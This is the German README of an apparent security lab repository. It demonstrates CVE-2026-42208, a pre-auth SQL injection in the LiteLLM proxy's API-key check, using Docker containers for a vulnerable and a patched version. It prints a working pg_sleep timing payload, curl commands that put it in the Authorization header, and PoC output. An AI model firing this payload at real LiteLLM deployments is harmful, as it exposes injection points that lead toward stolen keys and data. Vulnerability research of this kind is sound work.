
# Lokales Docker-Labor und zeitbasiertes Proof-of-Concept für CVE-2026-42208, eine Pre-Auth-SQL-Injection in LiteLLM Proxy, die verwundbare und gepatchte Instanzen demonstriert.
Lokales Docker-Labor und PoC mit minimaler Schadwirkung für CVE-2026-42208, eine SQL-Injection-Schwachstelle ohne Authentifizierung im API-Key-Verifizierungspfad des LiteLLM-Proxys.
Dieses Repository demonstriert den Unterschied zwischen einer verwundbaren LiteLLM-Instanz und einer gepatchten LiteLLM-Instanz mithilfe eines zeitbasierten PostgreSQL-pg_sleep()-Beweises.
Umfang: nur lokales Labor / autorisierte Tests. Das Standard-PoC liest keine Datenbankdaten aus und verändert keine Datenbankdaten.
CVE-2026-42208 betrifft LiteLLM-Proxy-Versionen 1.81.16 bis einschließlich Versionen vor 1.83.7.
Die Schwachstelle wird über einen manipulierten Authorization: Bearer ...-Header ausgelöst, der an einen LiteLLM-API-Endpunkt gesendet wird. In betroffenen Versionen kann das vom Aufrufer gelieferte Token während der API-Key-Verifizierung einen SQL-Abfragepfad erreichen.
Dieses Labor vergleicht:
| Dienst | Version | URL | Erwartetes Ergebnis |
|---|
vuln | v1.83.6-nightly | http://127.0.0.1:8081 | verzögerte 401-Antwort |
patched | v1.83.7-stable | http://127.0.0.1:8082 | schnelle 401-Antwort |
Der Beweis verwendet eine Nutzlast ähnlich wie:
' OR (SELECT pg_sleep(6)) IS NULL --
Beide Dienste sollten HTTP 401 zurückgeben, aber die verwundbare Instanz sollte etwa 6 Sekunden für die Antwort benötigen, während die gepatchte Instanz schnell antworten sollte.
.
├── docker-compose.yml
├── vuln/
│ ├── Dockerfile
│ └── config.yaml
├── patched/
│ ├── Dockerfile
│ └── config.yaml
├── poc/
│ └── poc.py
├── README.md
└── .gitignore
localhost:8081 -> verwundbarer LiteLLM -> PostgreSQL db-vuln
localhost:8082 -> gepatchter LiteLLM -> PostgreSQL db-patched
Die PostgreSQL-Dienste sind interne Docker-Dienste und werden nicht für den Host freigegeben.
Nur die LiteLLM-HTTP-Ports werden freigegeben:
| Host-Port | Dienst | Container-Port |
|---|---|---|
8081 | verwundbarer LiteLLM | 4000 |
8082 | gepatchter LiteLLM | 4000 |
docker compose up -d --build
Dienststatus prüfen:
docker compose ps
Erwarteter Status:
db-vuln healthy
db-patched healthy
vuln healthy
patched healthy
Verwundbare Instanz testen:
python3 poc/poc.py --url http://127.0.0.1:8081
Gepatchte Instanz testen:
python3 poc/poc.py --url http://127.0.0.1:8082
--url Ziel-Basis-URL
--path Zu testender API-Pfad. Standard: /v1/chat/completions
--sleep Sekunden für pg_sleep(). Standard: 6
--rounds Anzahl der Testdurchläufe. Standard: 2
Beispiele:
python3 poc/poc.py --url http://127.0.0.1:8081 --sleep 3 --rounds 2
python3 poc/poc.py --url http://127.0.0.1:8081 --path /chat/completions
Verwundbare Instanz:
[*] target=http://127.0.0.1:8081
[*] path=/v1/chat/completions
[*] sleep=6
[*] rounds=2
[*] Running baseline request
[baseline] status=401 elapsed=0.041s body='...'
[*] Running timing probes
[probe] round=1 status=401 elapsed=6.048s body='...'
[probe] round=2 status=401 elapsed=6.033s body='...'
[*] Verdict
baseline=0.041s
probe_median=6.040s
delta=5.999s
result=LIKELY VULNERABLE
reason=crafted Authorization header caused a timing delay consistent with SQL evaluation
Gepatchte Instanz:
[*] target=http://127.0.0.1:8082
[*] path=/v1/chat/completions
[*] sleep=6
[*] rounds=2
[*] Running baseline request
[baseline] status=401 elapsed=0.025s body='...'
[*] Running timing probes
[probe] round=1 status=401 elapsed=0.030s body='...'
[probe] round=2 status=401 elapsed=0.013s body='...'
[*] Verdict
baseline=0.025s
probe_median=0.021s
delta=-0.004s
result=LIKELY PATCHED_OR_NOT_TRIGGERED
reason=no meaningful timing difference observed
Beispielergebnis aus diesem Labor:
[probe] vuln round=1 status=401 elapsed=6.048s
[probe] vuln round=2 status=401 elapsed=6.033s
[probe] patched round=1 status=401 elapsed=0.030s
[probe] patched round=2 status=401 elapsed=0.013s
vuln: LIKELY VULNERABLE timing median=6.040s
patched: LIKELY PATCHED/NOT TRIGGERED timing median=0.021s
Die wichtige Beobachtung ist, dass beide Dienste 401 zurückgeben, aber nur der verwundbare Dienst für ungefähr die pg_sleep()-Dauer verzögert.
Dieses Repository verwendet einen Zeitbeweis, weil er sicherer ist als das Extrahieren von Daten.
Das PoC beweist, dass der injizierte SQL-Ausdruck ausgewertet wird, indem die Antwortverzögerung beobachtet wird. Es versucht nicht, Datenbankzeilen auszulesen, API-Schlüssel zu extrahieren, Datensätze zu ändern oder die Authentifizierung zu umgehen.
Verwundbarer Dienst:
time curl -sS -o /dev/null -w '%{http_code}\n' \
-X POST http://127.0.0.1:8081/v1/chat/completions \
-H "Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NULL --" \
-H "Content-Type: application/json" \
-d '{"model":"local-dummy","messages":[{"role":"user","content":"x"}]}'
Gepatchter Dienst:
time curl -sS -o /dev/null -w '%{http_code}\n' \
-X POST http://127.0.0.1:8082/v1/chat/completions \
-H "Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NULL --" \
-H "Content-Type: application/json" \
-d '{"model":"local-dummy","messages":[{"role":"user","content":"x"}]}'
Erwartetes Verhalten:
verwundbar -> ungefähr 6 Sekunden
gepatcht -> nahezu sofortige Antwort
docker compose down -v
Dies entfernt Container, Netzwerk und PostgreSQL-Volumes.
Dieses Labor ist nur für lokale und autorisierte Tests gedacht.
Führen Sie das PoC nicht gegen Systeme aus, die Ihnen nicht gehören oder für die Sie keine Testberechtigung haben.
Verwenden Sie in diesem Labor keine echten Provider-API-Schlüssel oder Produktions-LiteLLM-Zugangsdaten.
Das Standard-PoC vermeidet destruktives Verhalten und extrahiert keine Datenbankinhalte.